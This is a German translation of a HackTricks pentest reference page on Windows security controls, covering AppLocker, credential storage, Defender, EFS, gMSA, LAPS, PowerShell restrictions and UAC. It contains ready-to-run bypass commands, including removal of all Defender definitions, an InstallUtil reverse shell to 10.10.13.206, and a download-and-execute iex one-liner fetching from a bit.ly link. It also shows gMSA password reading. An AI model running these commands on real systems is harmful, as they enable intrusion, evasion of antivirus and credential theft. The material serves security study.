hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md

20 KiB

Windows-Sicherheitskontrollen

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker-Richtlinie

Eine Anwendungs-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein und ausgeführt werden dürfen. Das Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht mit den spezifischen Geschäftsbedürfnissen einer Organisation übereinstimmt.

AppLocker ist Microsofts Lösung zur Anwendungs-Whitelist und gibt Systemadministratoren die Kontrolle darüber, welche Anwendungen und Dateien Benutzer ausführen können. Es bietet fein abgestufte Kontrolle über ausführbare Dateien, Skripte, Windows-Installationsdateien, DLLs, verpackte Apps und Installationsprogramme für verpackte Apps.
Es ist üblich, dass Organisationen cmd.exe und PowerShell.exe sowie Schreibzugriff auf bestimmte Verzeichnisse blockieren, aber das kann alles umgangen werden.

Überprüfen

Überprüfen Sie, welche Dateien/Erweiterungen auf der schwarzen/weißen Liste stehen:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Dieser Registrierungspfad enthält die Konfigurationen und Richtlinien, die von AppLocker angewendet werden, und bietet eine Möglichkeit, die aktuellen Regeln zu überprüfen, die auf dem System durchgesetzt werden:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Umgehung

  • Nützliche beschreibbare Ordner, um die AppLocker-Richtlinie zu umgehen: Wenn AppLocker die Ausführung von allem innerhalb von C:\Windows\System32 oder C:\Windows erlaubt, gibt es beschreibbare Ordner, die Sie verwenden können, um dies zu umgehen.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Häufig vertrauenswürdige "LOLBAS's" Binärdateien können ebenfalls nützlich sein, um AppLocker zu umgehen.
  • Schlecht geschriebene Regeln könnten ebenfalls umgangen werden
  • Zum Beispiel, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, können Sie einen Ordner namens allowed überall erstellen und er wird erlaubt.
  • Organisationen konzentrieren sich oft darauf, die %System32%\WindowsPowerShell\v1.0\powershell.exe ausführbare Datei zu blockieren, vergessen jedoch die anderen PowerShell ausführbaren Standorte wie %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe oder PowerShell_ISE.exe.
  • DLL-Durchsetzung sehr selten aktiviert aufgrund der zusätzlichen Belastung, die sie auf ein System ausüben kann, und der Menge an Tests, die erforderlich sind, um sicherzustellen, dass nichts kaputt geht. Das Verwenden von DLLs als Hintertüren wird helfen, AppLocker zu umgehen.
  • Sie können ReflectivePick oder SharpPick verwenden, um Powershell-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für weitere Informationen siehe: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Credentials Storage

Security Accounts Manager (SAM)

Lokale Anmeldeinformationen sind in dieser Datei vorhanden, die Passwörter sind gehasht.

Local Security Authority (LSA) - LSASS

Die Anmeldeinformationen (gehasht) werden im Speicher dieses Subsystems aus Gründen der Single Sign-On gespeichert.
LSA verwaltet die lokale Sicherheitsrichtlinie (Passwortrichtlinie, Benutzerberechtigungen...), Authentifizierung, Zugriffstoken...
LSA wird diejenige sein, die die bereitgestellten Anmeldeinformationen in der SAM-Datei (für eine lokale Anmeldung) überprüft und mit dem Domänencontroller spricht, um einen Domänenbenutzer zu authentifizieren.

Die Anmeldeinformationen werden im Prozess LSASS gespeichert: Kerberos-Tickets, NT- und LM-Hashes, leicht entschlüsselbare Passwörter.

LSA secrets

LSA könnte einige Anmeldeinformationen auf der Festplatte speichern:

  • Passwort des Computerkontos des Active Directory (unerreichbarer Domänencontroller).
  • Passwörter der Konten von Windows-Diensten
  • Passwörter für geplante Aufgaben
  • Mehr (Passwort von IIS-Anwendungen...)

NTDS.dit

Es ist die Datenbank des Active Directory. Sie ist nur auf Domänencontrollern vorhanden.

Defender

Microsoft Defender ist ein Antivirus, der in Windows 10 und Windows 11 sowie in Versionen von Windows Server verfügbar ist. Er blockiert gängige Pentesting-Tools wie WinPEAS. Es gibt jedoch Möglichkeiten, diese Schutzmaßnahmen zu umgehen.

Check

Um den Status von Defender zu überprüfen, können Sie das PS-Cmdlet Get-MpComputerStatus ausführen (überprüfen Sie den Wert von RealTimeProtectionEnabled, um zu wissen, ob es aktiv ist):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Um es aufzulisten, könnten Sie auch ausführen:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFS sichert Dateien durch Verschlüsselung, indem es einen symmetrischen Schlüssel verwendet, der als Dateiverschlüsselungsschlüssel (FEK) bekannt ist. Dieser Schlüssel wird mit dem öffentlichen Schlüssel des Benutzers verschlüsselt und im $EFS alternativen Datenstrom der verschlüsselten Datei gespeichert. Wenn eine Entschlüsselung erforderlich ist, wird der entsprechende private Schlüssel des digitalen Zertifikats des Benutzers verwendet, um den FEK aus dem $EFS-Strom zu entschlüsseln. Weitere Details finden Sie hier.

Entschlüsselungsszenarien ohne Benutzerinitiierung umfassen:

  • Wenn Dateien oder Ordner in ein nicht-EFS-Dateisystem wie FAT32 verschoben werden, werden sie automatisch entschlüsselt.
  • Verschlüsselte Dateien, die über das Netzwerk über das SMB/CIFS-Protokoll gesendet werden, werden vor der Übertragung entschlüsselt.

Diese Verschlüsselungsmethode ermöglicht transparenten Zugriff auf verschlüsselte Dateien für den Eigentümer. Das bloße Ändern des Passworts des Eigentümers und das Anmelden ermöglichen jedoch keine Entschlüsselung.

Wichtige Erkenntnisse:

  • EFS verwendet einen symmetrischen FEK, der mit dem öffentlichen Schlüssel des Benutzers verschlüsselt ist.
  • Die Entschlüsselung verwendet den privaten Schlüssel des Benutzers, um auf den FEK zuzugreifen.
  • Automatische Entschlüsselung erfolgt unter bestimmten Bedingungen, wie z.B. beim Kopieren nach FAT32 oder bei der Netzwerkübertragung.
  • Verschlüsselte Dateien sind für den Eigentümer ohne zusätzliche Schritte zugänglich.

EFS-Informationen überprüfen

Überprüfen Sie, ob ein Benutzer diesen Dienst genutzt hat, indem Sie überprüfen, ob dieser Pfad existiert: C:\users\<username>\appdata\roaming\Microsoft\Protect

Überprüfen Sie, wer Zugriff auf die Datei hat, indem Sie cipher /c <file>
Sie können auch cipher /e und cipher /d in einem Ordner verwenden, um alle Dateien zu verschlüsseln und zu entschlüsseln.

Entschlüsseln von EFS-Dateien

Als Autoritätssystem

Dieser Weg erfordert, dass der Opferbenutzer einen Prozess im Host ausführt. Wenn dies der Fall ist, können Sie mit einer meterpreter-Sitzung das Token des Prozesses des Benutzers nachahmen (impersonate_token von incognito). Oder Sie könnten einfach in den Prozess des Benutzers migraten.

Kenntnis des Benutzerpassworts

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Group Managed Service Accounts (gMSA)

Microsoft entwickelte Group Managed Service Accounts (gMSA), um die Verwaltung von Dienstkonten in IT-Infrastrukturen zu vereinfachen. Im Gegensatz zu traditionellen Dienstkonten, die oft die Einstellung "Passwort läuft nie ab" aktiviert haben, bieten gMSAs eine sicherere und verwaltbare Lösung:

  • Automatische Passwortverwaltung: gMSAs verwenden ein komplexes, 240-Zeichen-Passwort, das automatisch gemäß der Domänen- oder Computerpolitik geändert wird. Dieser Prozess wird vom Microsoft Key Distribution Service (KDC) verwaltet, wodurch manuelle Passwortaktualisierungen entfallen.
  • Erhöhte Sicherheit: Diese Konten sind immun gegen Sperrungen und können nicht für interaktive Anmeldungen verwendet werden, was ihre Sicherheit erhöht.
  • Unterstützung mehrerer Hosts: gMSAs können über mehrere Hosts hinweg geteilt werden, was sie ideal für Dienste macht, die auf mehreren Servern ausgeführt werden.
  • Fähigkeit zu geplanten Aufgaben: Im Gegensatz zu verwalteten Dienstkonten unterstützen gMSAs das Ausführen geplanter Aufgaben.
  • Vereinfachte SPN-Verwaltung: Das System aktualisiert automatisch den Service Principal Name (SPN), wenn es Änderungen an den sAMaccount-Details oder dem DNS-Namen des Computers gibt, was die SPN-Verwaltung vereinfacht.

Die Passwörter für gMSAs werden im LDAP-Eigenschaft msDS-ManagedPassword gespeichert und alle 30 Tage automatisch von Domänencontrollern (DCs) zurückgesetzt. Dieses Passwort, ein verschlüsselter Datenblob, der als MSDS-MANAGEDPASSWORD_BLOB bekannt ist, kann nur von autorisierten Administratoren und den Servern, auf denen die gMSAs installiert sind, abgerufen werden, um eine sichere Umgebung zu gewährleisten. Um auf diese Informationen zuzugreifen, ist eine gesicherte Verbindung wie LDAPS erforderlich, oder die Verbindung muss mit 'Sealing & Secure' authentifiziert werden.

https://cube0x0.github.io/Relaying-for-gMSA/

Sie können dieses Passwort mit GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Weitere Informationen finden Sie in diesem Beitrag

Überprüfen Sie auch diese Webseite darüber, wie man einen NTLM-Relay-Angriff durchführt, um das Passwort von gMSA zu lesen.

LAPS

Die Local Administrator Password Solution (LAPS), die von Microsoft heruntergeladen werden kann, ermöglicht die Verwaltung von lokalen Administratorpasswörtern. Diese Passwörter, die randomisiert, einzigartig und regelmäßig geändert sind, werden zentral in Active Directory gespeichert. Der Zugriff auf diese Passwörter ist durch ACLs auf autorisierte Benutzer beschränkt. Bei ausreichenden Berechtigungen wird die Möglichkeit geboten, lokale Admin-Passwörter zu lesen.

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Constrained Language Mode

PowerShell Constrained Language Mode schränkt viele der Funktionen ein, die benötigt werden, um PowerShell effektiv zu nutzen, wie das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierte Workflows, PowerShell-Klassen und mehr.

Überprüfen

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Umgehen

#Easy bypass
Powershell -version 2

In aktuellen Windows wird dieser Bypass nicht funktionieren, aber Sie können PSByPassCLM verwenden.
Um es zu kompilieren, müssen Sie eine Referenz hinzufügen -> Durchsuchen -> Durchsuchen -> fügen Sie C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll hinzu und ändern Sie das Projekt auf .Net4.5.

Direkter Bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Sie können ReflectivePick oder SharpPick verwenden, um Powershell-Code in jedem Prozess auszuführen und den eingeschränkten Modus zu umgehen. Weitere Informationen finden Sie unter: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

PS-Ausführungsrichtlinie

Standardmäßig ist sie auf restricted eingestellt. Hauptwege, um diese Richtlinie zu umgehen:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Security Support Provider Interface (SSPI)

Ist die API, die zur Authentifizierung von Benutzern verwendet werden kann.

Die SSPI ist dafür verantwortlich, das geeignete Protokoll für zwei Maschinen zu finden, die kommunizieren möchten. Die bevorzugte Methode dafür ist Kerberos. Dann wird die SSPI aushandeln, welches Authentifizierungsprotokoll verwendet wird, diese Authentifizierungsprotokolle werden als Security Support Provider (SSP) bezeichnet, befinden sich in jeder Windows-Maschine in Form einer DLL und beide Maschinen müssen dasselbe unterstützen, um kommunizieren zu können.

Haupt-SSPs

  • Kerberos: Das bevorzugte
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 und NTLMv2: Aus Kompatibilitätsgründen
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Webserver und LDAP, Passwort in Form eines MD5-Hashes
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL und TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: Es wird verwendet, um das zu verwendende Protokoll auszuhandeln (Kerberos oder NTLM, wobei Kerberos das Standardprotokoll ist)
  • %windir%\Windows\System32\lsasrv.dll

Die Verhandlung könnte mehrere Methoden oder nur eine anbieten.

UAC - Benutzerkontensteuerung

Benutzerkontensteuerung (UAC) ist eine Funktion, die eine Zustimmungsaufforderung für erhöhte Aktivitäten ermöglicht.

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks unterstützen
{% endhint %}